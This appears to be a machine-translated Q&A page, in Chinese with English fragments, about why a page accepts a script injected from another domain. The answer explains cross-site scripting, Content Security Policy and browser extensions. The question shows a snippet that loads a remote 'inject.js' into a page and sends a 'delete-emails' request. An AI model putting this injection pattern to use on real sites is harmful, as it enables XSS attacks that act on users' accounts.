通过脚本注入远程控制

Remote control via script injection

有些服务器允许我们动态插入 src 不同于页面域的脚本元素。

由于同源策略,我们无法将数据发送到另一台服务器,但是我们可以这样做:

因为脚本从服务器 A 注入到页面 x,请求正在向服务器 A,这里没有问题 - 同源策略不起作用。

默认情况下服务器没有受到保护吗?

在受保护的服务器上,我们得到了这个:

拒绝加载脚本,因为它违反了以下内容安全策略指令:“script-src 'unsafe-eval' 'unsafe-inline'

q=document.createElement('script');
q.src='http://myserver.com/inject.js';
document.head.append(q);

这样的脚本可以打包成 chrome 扩展并安装。 (我在这里错了吗?或者扩展有更多限制?)

这里是 inject.js 假设服务器正在处理带有 delete-emails 参数的请求:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://whosebug.com/?delete-emails');
xhr.onreadystatechange = function() {
    if (this.readyState === 4 && this.status === 200) {
        console.log(location.href);
    }
};
xhr.send();

例如,如果我将脚本元素(进入头部)插入 whosebug.com 页面,我会得到 200 OK

Cause script was injected into page x from server A, and requests are doing to server A, nothing is wrong here - Same Origin Policy doesnt work.

Are servers not protected from this by default?

没错。您所描述的是 Cross-site Scripting (XSS),同源策略不会保护您免受它的影响。

On protected servers we got this:

Refused to load the script because it violates the following Content Security Policy directive: "script-src 'unsafe-eval' 'unsafe-inline'

Content Security Policy 不同于同源策略。这是一种允许服务器声明限制其页面允许执行的操作的机制。这有助于防止 XSS,因为即使攻击者能够注入脚本,浏览器也不会允许它违反 CSP。

Such script can be wrapped into chrome extension and installed.

一般来说,您应该假设浏览器扩展允许各种不安全的操作,这些操作不受通常的浏览器安全策略的影响。不同的浏览器扩展框架做出不同的安全保证,但它并不是跨浏览器标准化的东西。如果您有关于 Chrome 允许的具体问题,您可能应该 post 一个单独的问题。